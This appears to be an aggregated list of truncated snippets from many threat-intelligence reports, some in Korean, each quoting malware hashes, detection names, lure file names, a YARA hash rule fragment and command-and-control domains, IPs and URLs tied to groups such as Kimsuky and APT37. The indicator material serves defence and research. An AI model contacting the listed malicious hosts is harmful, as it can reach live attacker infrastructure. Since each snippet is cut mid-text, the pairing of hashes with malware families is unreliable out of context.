URL…","…253f3a53796f1b0fbe64f7b05ae1d66bc2b0773588d00c3d2bf08572a497fa59 83cba55f180b0c100935137615e8d296 7a1d41c8e9e4bd19e0e360ec17e30c38e4f9ca0d 82a2dafd6ce594f2cf8588f32585c71be2180fc4cf9a144e300b1692f3de5807 Bold hashes indicate that they were observed in our analysis,…","…주주물량관련.doc :Trojan/DOC.Agent (2022.03.23.00) MD5 0ecc9a4cea5c289732c76234c47a60e9 56a936b9b3a3bdafed40cf5d056febaf 7a2f350a2a6aa1d065c2b19be6dc6fb4 82ed73e4adbe5c26bafb5072657fd46b 869f98aac4963c7db7276d2a914d081e URL http://sysrtri-man.com/upl11/upload.php AhnLab…","…1523a2fcc901965ab4568d9fe829e4af 500e0bc0d7579fb338912770964076fe 685bfc6b2c29fbc16cfad908894add55 7a53089053b1381742856a5cf2b95f8b 8db2f20b719dcb7029d6296505622093 900e832c10d851bbdef3fb191a15db0e a2015665a3e18bf0ef86e3931245c7e6…","…침해 지표 (Indicator of Compromise) ● MD5 5f6682ad9da4590cba106e2f1a8cbe26 7a66738cca9f86f4133415eedcbf8e88 105ecd9f6585df4e1fe267c2809ee190 852544f01172b8bae14ec3e4d0b35115 358122718ba11b3e8bb56340dbe94f51 acf4085b2fa977fc1350f0ddc2710502 b85a6b1…","…back up important data. Impact Information Theft and Espionage Exposure to Sensitive Data Indicators of Compromise MD5 7a6b45351afef3f5d8015e0fb13342ba 0f5ae560bbaadc7244c6c75da30a101b 501ee5b43833e35a6be3a2f0f977bb7c a5396648475416fcbbedb16470ab98cc f558987b89e65c49739f9b6f69e3c088…","…Name CoinGo_Trade Size 49536 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 7a73178c682d1a61b2f1c61ae558b608 SHA1 358f4c8575c82f45340886f282d41ca0560cfa6e SHA256 527792dfab79f026eaa6930d2109c93e816ed31826dba0338a9223db71aced18 SHA512…","…MD5 V3진단명 V3진단버전 1 6dbc4dcd05a16d5c5bd431538969d3b8 Backdoor/Win32.Akdoor 2019.12.23.04 2 7b0c06c96caadbf6976aa1c97be1721c Backdoor/Win32.Akdoor 2019.12.23.04 3 e00afffd48c789ea1b13a791476533b1 Dropper/Win32.Akdoor 2019.12.23.04 4…","…normalized headers mmh3: -1696723326 Shared normalized headers SHA-1: 7b0e49eb35765d1455b506b9b5e7820d18167760 Shared body mmh3: 2125685474 Shared body SHA-1: 7350cb4703a96ea7c140bd30da9a6d1bcff36eb2 The table lists each endpoint, its certificate…","…Size 105984 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 8efaabb7b1700686efedadb7949eba49 SHA1 7b17d63694eee51010bcad143bc72e355e17cb50 SHA256 a9bc09a17d55fc790568ac864e3885434a43c33834551e027adb1896a463aafc SHA512…","…The DLL (MD5 hash: 7b4a8be258ecb191c4c519d7c486ed8a ) is identical to the one reported in a malware traffic analysis blog post from March 2016 where it was used to deliver Qbot.…","…Type Description 9e75705b4930f50502bcbd740fc3ece1 MD5 Initial installer 27ef6917fe32685fdf9b755eb8e97565 MD5 Initial installer 7b6d02a459fdaa4caa1a5bf741c4bd42 MD5 Initial installer 7457dc037c4a5f3713d9243a0dfb1a2c MD5 TrollAgent DLL c8e7b0d3b6afa22e801cacaf16b37355 MD5 TrollAgent DLL…","…support accurate detection of such attacks. 七、IOC MD5 27ef6917fe32685fdf9b755eb8e97565 7457dc037c4a5f3713d9243a0dfb1a2c 7b6d02a459fdaa4caa1a5bf741c4bd42 88f183304b99c897aacfa321d58e1840 19c2decfa7271fa30e48d4750c1d18c1 c8e7b0d3b6afa22e801cacaf16b37355 87429e9223d45e0359cd1c41c0301836…","…Troll Stealer ” because it uses the pathname “D:/~/repo/golang/src/root.go/s/ troll /agent”. Detailed Analysis Sample Information MD5: 7b6d02a459fdaa4caa1a5bf741c4bd42 SHA256: f8ab78e1db3a3cc3793f7680a90dc1d8ce087226ef59950b7acd6bb1beffd6e3 The malware is disguised as the TrustPKI installer for the SGA…","…분석 -KrCert/CC TTPs $ ScarCruft Tracking Note – KrCert/CC 한글 파일에 숨어든 ‘고스트’ – ASEC 분석팀 MD5 4488c709970833b5043c0b0ea2ec9fa9 7bab405fbc6af65680443ae95c30595d 7f5a72be826ea2fe5f11a16da0178e54 8b666fc04af6de45c804d973583c76e0 9083c1ff01ad8fabbcd8af1b63b77e66 Tags: M2RAT MaptoRAT…","…8ebca0e30bfd 44b072d3948f06cdc0be573aa62ce3ca0b80da1e 76ed57d6451f634255c664a89f7a64a062923c05 08620755dabc0983eaf1320ac4c71d90b56ff1bb 7bb3e2671b8ad6e2e1ffb9e8b022dfd677fdd31a aabaea027236e8605f4b89e3d9e2206993398af2 f8542e5567741c95a966cd1508c6d11ad0763440 598b8a9b7bb134bdbf34503e109ec66a18dbbfa9 9837e850f980…","…and ( hash.sha256(0, filesize) == “43898a0a53bbd25d31ad9f5018ed3182be98a66109b22c9cab545a9fc447992a” or hash.sha256(0, filesize) == “7bc41ed79a9ae909927a9e40701736460a8cb70fca16ce1510e58677aca764b6” ) } rule PHP2Shell_Infrastructure_IPs_In_Content { meta: description = “Finds PHP2Shell-associated IPs (six anonymisation-network…","…Brandoor Cases ⚫ e8486a2ddc8e16a64261d48346ef5688 ⚫ e756d0545315a553a45a02e69a1cbe61 ⚫ 16e7e127eb6fc4611680070d9b56de80 ⚫ 7bc4b78001434b68355e9b57a822b9c1 ⚫ c5f9539e0b1c84654e475a08eca772ed ⚫ 312cdb2032a5460f4a05939ea4f35c56 ⚫ 805804d1fc941796a529e52406a44305 ⚫…","…주요 침해 지표 (Indicator of Compromise) ● MD5 7bce02dc0026e271615d4d0e441ca397 ad2761910997c801b3347bd3745dd2b9 bdf18a2d9a94c348cac9efc51d59a75a 81a7d6f88c0fb1705a16fc59ad261f35 aff44804011d77e1050b912b6e6a62c5 491947a…","…Backdoor/Win.Nikidoor.C5598774 (2024.03.10.00) 행위 진단 – Execution/MDP.Event.M18 MD5 7034268d1c52539ea0cd48fd33ae43c4 7beaf468765b2f1f346d43115c894d4b b74efd8470206a20175d723c14c2e872 b8ffb0b5bc3c66b7f1b0ec5cc4aadafc f03618281092b02589bca833f674e8a0 URL…","…(2024.03.10.00) Behavior Detection – Execution/MDP.Event.M18 MD5 7034268d1c52539ea0cd48fd33ae43c4 7beaf468765b2f1f346d43115c894d4b b74efd8470206a20175d723c14c2e872 b8ffb0b5bc3c66b7f1b0ec5cc4aadafc f03618281092b02589bca833f674e8a0 URL…","…869705fd4dd777d4ab5c662806b42fe43bff6b58e085a64804486326b35fee47 42f306b905ece8875bdf16d276b8e4c1f70265918625da475e0f0ff0aa90f31c 7bed4de469d5f23f35f835d6bf1b7678b4ff6ccaefd9604e929abd448d6d43e1 SHA-1 6f5259f7087cc501d776f28bede938e6134e4615 20443f517f22b292d63e7e06d9713b771d0902da 3be92f172c64d4c827b524da81038efa2ee5262c…","…SHA-256 ab1071c25ce763072f6b85302a83024833e724ffc51075da5bf915860a674874 7c059314638fd78ce3d0f375bae16a615860d603d1b157edeb4eabf797347d35 782aadc761381ec79e8d01a5ed4d13ae6089661ff2517c88e6de6d6eb2c89cab e7923f6672cfc24f47982c3c5b8aa967bf83de3b05bb3f199c4cb6c4aa89b84d SHA1…","…f6800836d55d049fe79e3d47d54e1119 3a9c98fb76aaa4f440c059334b585585 6e1ce18cb9065bf0ea91fc5c2817e941 7c22515a47e94581cc7b62b88a205808 8efee9143c9bc4dc3cd8cf2ef5a87656 29b0a6b9608540b9446c0fb14a36f0b0 99ee7852b8041a540fdb74b3784d0409 C2…","…Hashes (MD5) 관련 도메인, URL 및 IP 주소 참고 문헌 MD5 08111135bae27c8aafd08457e95b7380 100e0fdae087054dbc1d8fc364b07e2e 7c451e8d5605536363d897fa9e389ecd 7ed620ca3fdbf2e3900cac5fc99f037f 92ac0465a474e9bb83154c01bb914b52 URL…","…Hash-SHA256 5ad4efd90dcde01d26cc6f32f7ce3ce0b4d4951d4b94a19aa097341aff2acaec Hash-SHA256 7c465ea7bcccf4f94147add808f24629644be11c0ba4823f16e8c19e0090f0ff Hash-SHA256 9b60c622546dc45cca64df935b71c26dcf4886d6fa811944dbc4e23db9335640 Hash-SHA256…","…ICAS.ps1 MD5: b12325a1e6379b213d35def383da2986 – Possible PowerBrace MD5: 8a41520c89dce75a345ab20ee352fef0 – Possible PowerBrace MD5: 7c651d115109fd8f35fddfc44fd24518 – Possible PowerBrace MD5: b88d4d72fdabfc040ac7fb768bf72dcd – Possible PowerBrace MD5: 3be75036010f1f2102b6ce09a9299bca – Possible…","…3c1e4c334629b20e21b8ab08b8aa19db738f2ed761290ffdd26665cd61cb7807 7c73619ff8d5e4ed3b29b7ae71a69602df4071fd8c1029f9674e9978cdc03de9 6b90e2a3f0ad8819b5afe67bf13451c9782af26a9f2bdac3a0e042569054e5fd 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33…","…Execution/MDP.Kimsuky.M11148 (MDS) Execution/EDR.Kimsuky.M11115 (EDR) MD5 075160d6c8d82b96d1ae7893761695a6 7c7b8dd6dd4ba7b443e84287671f0e79 9861999409cdbc1f7c4c1079d348697c 98764ae00cee9f2cc87530601c159387 ae6fdb8945991b587ab790c2121345ce URL…","…(2023.06.17.00) Infostealer/VBS.Generic (2023.06.17.00) MD5 075160d6c8d82b96d1ae7893761695a6 7c7b8dd6dd4ba7b443e84287671f0e79 9861999409cdbc1f7c4c1079d348697c 98764ae00cee9f2cc87530601c159387 ae6fdb8945991b587ab790c2121345ce URL…","…Date (KST) 2019-03-21 17:42 Last Modified Name windowsmb C2 https://login-main.bigwnet.com/attachment/view/Msgxo0.hta MD5 7ca1a603a7440f1031c666afbe44afc8 File Name Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc Last Modified Date (KST) 2019-03-26 09:45…","…17:42 Last Modified Name windowsmb C2 https://login-main.bigwnet.com/attachment/view/Msgxo0.hta MD5 7ca1a603a7440f1031c666afbe44afc8 File Name Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc Last Modified Date (KST) 2019-03-26 09:45…","…파일명 존경하는 올인통 ( 올인모 ) 관련 단체장님들께 .hwp 경로 d: \\ HighSchool \\ version 13 \\ 2ndBD \\ T+M \\ T+M \\ Result \\ DocPrint.pdb MD5 7ca1e08fc07166a440576d1af0a15bb1 [ 표 25] ‘ 존경하는 ~ .hwp’ 를 통해 설치되는 악성파일 정보 Threat Intelligence Report Genians Security Center 33 c.…","…d2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d77c8449f1efc4bfb9ebff496442bbbc 2f431c4e65af9908d2182c6a093bf262 7cc8ce5374ff9eacd38491b75cbedf89 8f339a09f0d0202cfaffbd38469490ec 46ca088d5c052738d42bbd6231cc0ed5 C2 89.147.101.65 89.147.101.71 37.120.210.2…","…IoC (Indicator of Compromise) MD5 3715092aa00f380cefe8b4d2eddb7d08 7cef19f9c4480adac0cd4702ff98f46c 7eb9cee1f696727752169f25cf79a338 b6b0602310bb2d4360c52685119aac1b C2 crwellfood.com daehoat.com fe01.co.kr…","…SHA256 7d0d673fad1f16f153f586035b24c9eb8f6eb0990a6f05cb84525bc9977c99c0 1076743a8e2f650b80c8802f0b196b735ab030ed29471d003f9942ccee494596 01ccbc9ac090be73f12cad8ff83b599b1c689e7ccf9de8102d50512bb767bdec f4275b…","…Here is the extracted URL which the document attempts to download the .jpg from: SHA256: 7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e Filename: 통일북한학술대회_심사서류.hwp (\"North Korea Conference _ Examination Documents\") URL:…","…Domain C2 IP 185.176.43.82 IP C2 URL http://mybobo.mygamesonline.org/flower01/post.php URL C2 SHA-256 7d2b9f391588cc07d9ba78d652819d32d3d79e5a74086b527c32126ad88b5015 COVID-19 and North Korea.docx URL http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web URL delivery SHA-256…","…진단] Dropper/JS.Generic Backdoor/Win.AppleSeed.R499775 MD5 1ae2e46aac55e7f92c72b56b387bc945 67e7e8600a57e9430a43bf8c5f98c6bd 7d445b39a090b486aaa002b282b4d8cb ec9dcef04c5c89d6107d23b0668cc1c1 URL http://dirwear.000webhostapp.com/ http://gerter.getenjoyment.net/ AhnLab TIP 를…","…(GUI) Intel 80386, for MS Windows MD5 6f329c32f228d9a4d856afd4794c7f2b SHA1 4be9aecc0fc76c037420ece97645c6a32294a230 SHA256 7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd SHA512…","…General Information Sample f8adbea62ff58587267d39b04fbcd784df1886e9d8c1b212348a9d95d133f6c2 MD5 7d62e779a769e120ac8f0c5a8bd4e968 SHA256 f8adbea62ff58587267d39b04fbcd784df1886e9d8c1b212348a9d95d133f6c2 File Type ZIP archive containing a…","…Hash 7d766cbd60b2184b4181eb83562d5a406b848adddfa20842a073c25d3f1fe853 1099a77b2de97f26605b32e25e806b636e36103a3b8d601e1e30b15c922de578 ea332de382c843e4d862323466fee3d94c3722e3e9e61c00bf2bdf379a7087af 8028b918d…","…MD5 00119ed01689e76cb7f33646693ecd6a 7d79901b01075e29d8505e72d225ff52 8536d838dcdd026c57187ec2c3aec0f6 a7ac7d100184078c2aa5645552794c19 URL…","…Type Notes APT10 \u0002¢ A41APT \u0002£ 8504c06360f82b01b27aa1c484455e8a6ce9c332d38fe841325521d249514bfa 101.78.177.244:443 7db25164885066f32cd8b523a0b0ee9e6bb65e4381352735f618c8ce8ea24004 intra.rolesnews.com extra.rolesnews.com SHA256 C2 SHA256 C2 C2ShadowPad x64 (OAED Loader) Bisonal (OAED Loader) Indicator Type…","…IoC (Indicator of Compromise) MD5 148405ff05bf15a6a053e4e7c1795d40 2e1b0ac49313873a0e0b982c591a5264 7dc50e8af0070e544bff5299405cd3b9 61f65bd593ea0e52ac0dfdc6bc9cd73a 461ade40b800ae80a40985594e1ac236 01022facb38cf60b052e65a682f4a127…","…sha256 : 3903958EB28632AA58E455EB87482D1CCEF38A6FE43512BAAD30902E8BFDD6D5 E11E2425C62F34EBB3F640BAEEFB67D5 7DC6F8AAAF4431C365564A51DD37C143D857B89E 237DEBA138355BFB448E74BFB68FC868F4807B24D68715A6D47E348FC0CF9257 Case 2.…","…SHA256_1 = \"1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954\" MD5_2 = \"d742ba8cf5b24affdf77bc6869da0dc5\" SHA256_2 = \"7dce6f30e974ed97a3ed024d4c62350f9396310603e185a753b63a1f9a2d5799\" MD5_3 = \"aefcd8e98a231bccbc9b2c6d578fc8f3\" SHA256_3 = \"96721e13bae587c75618566111675dec2d61f9f5d16e173e69bb42ad7cb2dd8a\" MD5_4 =…","…03c4e54cc775ab819752dc5d420ab2fed03bd445c3ce398d021031100b334fb4 EtherRAT (deobfuscated) File 7dd1bf7a58774a081062f5c8f183d24f95c433805e0bf73280c0adba1c71390d EtherRAT (obfuscated) File 83b1f11c6a0bd267e415136440559131d2d4ace9a65dc221ea3b144fe0e7199b…","…(Espionage / Industrial, logistics, defense) Primary exemplars (CrowdStrike community-tracking hashes): ( CrowdStrike ) Dozer 7dee2bd4e317d12c9a2923d0531526822cfd37eabfd7aecc74258bb4f2d3a643 ( CrowdStrike ) Brambul d2359630e84f59984ac7ddebdece9313f0c05f4a1e7db90abadfd86047c12dd6 ( CrowdStrike ) Joanap…","…35 acd2d728ee4d1110521524c1eac6204e 157d1b1798f0f370a95125253e039c18 b99c1d9bf70be5172a8b36b098c67ee5 8c561a53085651d7f47b24129c2cd2d0 7df07ecb0b516df085a5ee95ed8e6560 af999c3c615b56691d75e8c877e185fb 5be0527f5c84208371761cee852f0d7c f51a2ccb4b9b2bf163c81b525bfac08e 10ce9409d8d1e72ea6439bec7cd7e4cd a8…","…파일명:공적조서(개인, 양식).lnk 사이즈:232,042,783 Bytes MD5:5adfa76b72236bf017f7968fd012e968 SHA-1:5f0d09853fb459500237105201bbf33c09da2126 SHA-256:7df7ad7b88887a06b559cd453e7b65230d0cccff1a403328a521d8753000c6c9 2024-12-10 09:38:11 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과…","…SHA-1 SHA-256 AccountStore.bak 665ce00318552c6ddc22e2f5e59cd516 71e5bb0e7f00bb11518e8d7f619f2b6c9fa09eaf 7e454b22987d8901ab7fc2983d335da6ed4ac048298e3bcb7e3a123352bfc1da AccountStore.bak 107953faf48823913b19ab7cf311a2c8 73a2aed35aa5fc8621828e11c76d58144ea7f6bb…","…SHA1 fd02470c6cc4ceb5fad3589d02e5148a8c738b83 7e47d1bc13d7016a9d8eb59a97d19e3766fbfd54 URL http://nood.xn----vb6em5hi7liqoza961br0ai8i.xn--9i1b01onwqqzd.xn--3e0b707e/ Remediation Block all threat indicators at your…","…Size 114688 bytes Type 64-bit XCOFF executable or object module MD5 d790997dd950bb39229dc5bd3c2047ff SHA1 7e6407c28c55475aa81853fac984267058627877 SHA256 3a5ba44f140821849de2d82d5a137c3bb5a736130dddb86b296d94e6b421594c SHA512…","…Size 115712 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 0f39312e8eb5702647664e9ae8502ceb SHA1 7e64fb8ec24361406ed685719d8dedc7920791d5 SHA256 21afaceee5fab15948a5a724222c948ad17cad181bf514a680267abcce186831 SHA512…","…description.doc?dl=1 Hashes dc06b737ce6ada23b4d179d81dc7d910a7dbfdde a79488b114f57bd3d8a7fa29e7647e2281ce21f6 7e70793c1ca82006775a0cac2bd75cc9ada37d7c 535f212b320df049ae8b8ebe0a4f93e3bd25ed79 1dd8eba55b16b90f7e8055edca6f4957efb3e1cd afb2595ce1ecf0fdb9631752e32f0e32be3d51bb e8faa68daf62…","…17 ea95109b608841d2f99a25bd2646ff43 f13a4834e3e1613857b84a1203e2e182 f3603f68aadc8bc1ea8939132f0d5252 2f3dff7779795fc01291b0a31d723aca 7e8c24bb3b50d68227ff2b7193d548dd d287dcaeaf17c9dae8a253994502ee58 이 글 공유하기 Facebook…","…MD5 ffc2a7073ba362b295357ac6e782634a SHA1 6d13e85cd812e249ab950ec405e84289de9cfe5e SHA256 7ea6391c11077a0f2633104193ec08617eb6321a32ac30c641f1650c35eed0ea SHA512…","…IoC (Indicator of Compromise) MD5 3715092aa00f380cefe8b4d2eddb7d08 7cef19f9c4480adac0cd4702ff98f46c 7eb9cee1f696727752169f25cf79a338 b6b0602310bb2d4360c52685119aac1b C2 crwellfood.com daehoat.com fe01.co.kr novel21.co.kr webhostingkorea.com…","…문헌 MD5 08111135bae27c8aafd08457e95b7380 100e0fdae087054dbc1d8fc364b07e2e 7c451e8d5605536363d897fa9e389ecd 7ed620ca3fdbf2e3900cac5fc99f037f 92ac0465a474e9bb83154c01bb914b52 URL…","…131fc4375971af391b459de33f81c253 1875f6a68f70bee316c8a6eda9ebf8de 47791bf9e017e3001ddc68a7351ca2d6 7a19c59c4373cadb4556f7e30ddd91ac 7ef97450e84211f9f35d45e1e6ae1481 URL…","…5c5672bb14e1d2f07a8318ffec19b213 6add815cd61d6514f81a23ab8c23405a 73ff669fc282653bd6c42cf87ade9337 7f12fa589f56f6203c692715b3958d30 8406075af0a1e9ec09bafdc0de01f138 8c859a03814443c6f0da341ee594c352 a1c07ac866fb6b388e38c6bb1d4bbe94…","…Size 453791 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 868036e102df4ce414b0e6700825b319 SHA1 7f1e68d78e455aa14de9020abd2293c3b8ec6cf8 SHA256 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d SHA512…","…PoohMilk sha256: 35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2 Freenki sha256: 7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df Freenki 2016: 99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5 Network: -…","…Struggle Cases ⚫ 39b40d925c5f28a481e30c2d38feca4f ⚫ 44d4022f67e2ab9f731cb0df9adc36c0 ⚫ 7f4a8f1eb120f168ab39dfb81256e7b1 ⚫ 80000db11057dc4709050205b2290321 ⚫ b7c1528311f62bd499ec396a29f684c7 ⚫ bd7a422b40df870285ec5620053ca0b2 ⚫…","…Tracking Note – KrCert/CC 한글 파일에 숨어든 ‘고스트’ – ASEC 분석팀 MD5 4488c709970833b5043c0b0ea2ec9fa9 7bab405fbc6af65680443ae95c30595d 7f5a72be826ea2fe5f11a16da0178e54 8b666fc04af6de45c804d973583c76e0 9083c1ff01ad8fabbcd8af1b63b77e66 Tags: M2RAT MaptoRAT RedEyes…","…Hash-MD5 05a00c320754934782ec5dec1d5c0476 Hash-MD5 f107a717f76f4f910ae9cb4dc5290594 Hash-MD5 7f7ccaa16fb15eb1c7399d422f8363e8 Hash-MD5 84c82835a5d21bbcf75a61706d8ab549 Hash-MD5 bec0b7aff4b107edd5b9276721137651 Hash-MD5…","…URL delivery SHA-256 0588510dddbd802a5a95fa299d8fa7235b0c270236cbaf51e5b57536222226bf V1.py SHA-256 7f83912127f5b9680ff57581fc40123c21257bd8e186d7cab4c838a867bb137f V60.py URL http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new URL delivery URL…","…894e7d4ffd764bb458809c7f0643694b036ead30 f79c3b0adb6ec7bcc8bc9ae955a1571aaed6755a28c8b17b1d7595ee86840952 7faea2b01796b80d180399040bb69835 3b3e778b647371262120a523eb873c20bb82beaf 8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423…","…Details of the DLL are given below: Name(s) N/A Size 1.1MB (1182208 Bytes) File Type application/x-dosexec MD5 7faea2b01796b80d180399040bb69835 SHA1 3b3e778b647371262120a523eb873c20bb82beaf SHA256 8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423 The…","…\"type\": \"file\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {7fccc871c889a4f4c13a977fdd5f062d6de23c3ffd27e72661c986fae6370387}\", \"file\": {\"hash\": {\"md5\": [\"352715d5770b53768bf9f23d810ad55f\"], \"sha1\": [\"831dc7bc4a234907d94a889bcb60b7bedf1a1e13\"], \"sha256\":…","…Logfile.rar 4.32MB 파일명:Logfile.rar 사이즈:5 MB MD5:358daa9e787cc93d77e9dc81a9c41f33 SHA-1:7fdc52a6971a56a6a142364d0c5c95b34c848b97 SHA-256:aed56f5ebc45b6d04901359dde22b12935a28459cdf96a835a7b52d26f893e56 비밀번호는 다 알죠! [생활/블로그 놀이] - Support Independent Malware &…","…있어 메일 발신자의 주소를 확인하고 첨부파일 열람 및 본문에 포함된 링크 클릭에 주의해야 한다. [파일 진단] Downloader/DOC.Kimsuky MD5 357ef37979b02b08120895ae5175eb0a 7fe055d5aa72bd50470da61985e12a8a URL http://asssambly.mywebcommunity.org/file/upload/list.php?query=1 http://freunkown1.sportsontheweb.net/h.php AhnLab…","…of the C2 hosts associated with this campaign had a JA3S hash of “466556e923186364e82cbdb4cad8df2c” and the TLS certificate serial number “7FF31977972C224A76155D13B6D685E3” according to the OSINT data.…","…Struggle Cases ⚫ 39b40d925c5f28a481e30c2d38feca4f ⚫ 44d4022f67e2ab9f731cb0df9adc36c0 ⚫ 7f4a8f1eb120f168ab39dfb81256e7b1 ⚫ 80000db11057dc4709050205b2290321 ⚫ b7c1528311f62bd499ec396a29f684c7 ⚫ bd7a422b40df870285ec5620053ca0b2 ⚫ d554724c6392c9f2c2bc073d0a7ce21f E.…","…Below is a table of the related ELF ARM samples: SHA256 Description Embedded IPv4 Addresses 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266 ELF ARM file likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d Embedded in…","…eeb98d 5a9086a16870bde828b8f50be08bdcaa01719945aba2bbc4a50bc1f7c3caf949 6d0aa8ebc1287eb55fdca521c2c70c8e9a9f39835f8e257280898997ad6c1d76 801789ec161b7749c8d9f59049754e09e8b324de36c6fc0b634d61814baf43b1 81554ae36513b4a637d72db864f31e39ef3ae35ad402fb170f5e5fddee2d4589 82f446528560789d2f79a9c5f1b8cf3e5eb20468bd567ef9735672748aa00b06 899b2d…","…d3f1fe853 1099a77b2de97f26605b32e25e806b636e36103a3b8d601e1e30b15c922de578 ea332de382c843e4d862323466fee3d94c3722e3e9e61c00bf2bdf379a7087af 8028b918d06cf3635e7e77d29cb0a4622d8cf4ee30881fb297435f7328ff45e4 35ddb63c0729a7e3019c026865ea195607a51943d8867607a26c006f0df6e594 06e2ab3fe5afc927642244644dfddb0f920ff1ab11c5e5631e26dbd62ed6978a 5d25e53b5…","…for initial malicious scripts SHA256 5fe5b1d879251d1618e275099cc63636d699a7f9b45176abe66283201b8ee877 CoreKit Malware SHA256 803d5db6296a5829b168ae45087356f49255579afbcb58fb43c4fb8c3819da28 GoogIe LLC malware SHA256 41660a23e5db77597994e17f9f773d02976f767276faf3b5bac0510807a9a36f a malware SHA256…","…Analyst : @GeeksCyber Technical analysis SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269 The file is a DLL that has 7 exports.…","…⚫ 7bc4b78001434b68355e9b57a822b9c1 ⚫ c5f9539e0b1c84654e475a08eca772ed ⚫ 312cdb2032a5460f4a05939ea4f35c56 ⚫ 805804d1fc941796a529e52406a44305 ⚫ 3bf86507726a0c8e77ad3ce584a6cdab ⚫ fe00578715e667c204a66c93c7611559 ⚫ 1788a19397e0a7ab99f7445e2f8ecd8e ⚫…","…c8 A2BE99A5AA26155E6E42A17FBE4FD54D e24bbbd3b32ca2fd3b8fb76f036cb4bb 790a21734604b374cf260d20770bfc96 d3a988a9750cb6582310c806fa32d4f1 805949896d8609412732ee7bfb44900a 1bf36342c0506a58369a3b530b7d0bcc 60214745027c7efa7cc920d43d9c254a 9a06ce2b0b038de9147f93bbb3b3c56c 173edf96e60b3fd520801a6c1adee7e0 2a…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2019-06-14 05:41:48-04:00 Import Hash 8079a02c54cad285e36d60589737d1e3 PE Sections MD5 Name Raw Size Entropy 33371b670b629e6e418f34546c9b5eda header 1024 2.672349…","…The original filenames are included to give the reader insights into the themes used. MD5 hash Filename 808fda00b7aa114182ba0ad9668ad4fb (227183-F)_사업진행상태보고서.hwp 6566697d2b2b7b562f3e4f74986ae341 1.일반설계기준.hwp 70b327e1a2cf7863004436080848eddc…","…Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 0d195513534855e613bd7a29243565ab SHA1 80923c208c2c821ed99e1ed8f50bd549598a210c SHA256 326d7836d580c08cf4b5e587434f6e5011ebf2284bbf3e7c083a8f41dac36ddd SHA512…","…주의해야 한다. [파일 진단] Trojan/CHM.Agent (2023.03.08.03) Dropper/LNK.Agent (2023.02.28.00) MD5 2b79e2bd6548118c942480a52b5a1669 809528921de39530de59e3793d74af98 b39182a535f41699280ca088eef0f258 URL…","…Hash-MD5 f9cee5e75b7f1298aece9145ea80a1d2 Hash-MD5 638f9235d038a0a001d5ea7f5c5dc4ae Hash-MD5 80a2af99fd990567869e9cf4039edf73 Hash-MD5 c39ed6f52aaa31ae0301c591802da24b Hash-MD5 db349b97c37d22f5ea1d1841e3c89eb4 Hash-MD5…","…释放temp.db为带有upx压缩壳加壳的dll文件，该dll文件基本信息如下： - - 文件名 temp.db MD5 80a2bb7884b8bad4a8e83c2cb03ee343 时间戳 2021:04:18 16:37:50 dll文件加载运行后，首先拷贝自身到如下路径：C:\\ProgramData\\Software\\Microsoft\\Windows\\Defender\\AutoUpdate.dll…","…Cyber Espionage Unauthorized Access Information Theft Indicators of Compromise MD5 cf8c0999c148d764667b1a269c28bdcb 80ab98c10c23b7281a2bf1489fc98c0d 4c4abe85a1c68ba8385d2cb928ac5646 00a2952a279f9c84ae71367d5b8990c1 5eac943e23429a77d9766078e760fc0b SHA-256…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2017-03-26 09:21:10-04:00 Import Hash 80e9b5b96cb30be08b9f46dcd40ca0b6 PE Sections MD5 Name Raw Size Entropy 480ee7622ef011b56ad9be1f520b53bb header 1024 3.124211…","…행위 진단 – Execution/MDP.Regsvr32.M4470 – Execution/EDR.Regsvr32.M11168 (EDR) – Execution/MDP.Regsvr32.M11169 (MDS) MD5 80f381a20d466e7a02ea37592a26b0b8 946e1e0d2e0d7785d2e2bcd3634bcd2a b6d11017e02e7d569cfe203eda25f3aa d2eb306ee0d7dabfe43610e0831bef49 d6a38ffdbac241d69674fb142a420740…","…Detection – Execution/MDP.Regsvr32.M4470 – Execution/EDR.Regsvr32.M11168 (EDR) – Execution/MDP.Regsvr32.M11169 (MDS) MD5 80f381a20d466e7a02ea37592a26b0b8 946e1e0d2e0d7785d2e2bcd3634bcd2a b6d11017e02e7d569cfe203eda25f3aa d2eb306ee0d7dabfe43610e0831bef49 d6a38ffdbac241d69674fb142a420740…","…IoC [APT37 관련] md5 835a74b3c33a66678c66118dbe26dccf 북한 공작에 물든 대한민국.hwp 81051bcc2cf1bedf378224b0a93e2877 hwp601.dat 4a89126a7e3190866b3eebeb8b8ee9b7 hwp701.dat a7557684eb1ab6044fccf69b442a559f hwp702.dat 34ca15b188ccfc83c54658f06acc548b…","…exfiltration Data encrypted Exfiltration over command and control channel Commonly used port Process injection Hashes 8106a30bd35526bded384627d8eebce15da35d17 66776c50bcc79bbcecdbe99960e6ee39c8a31181 668b0df94c6d12ae86711ce24ce79dbe0ee2d463 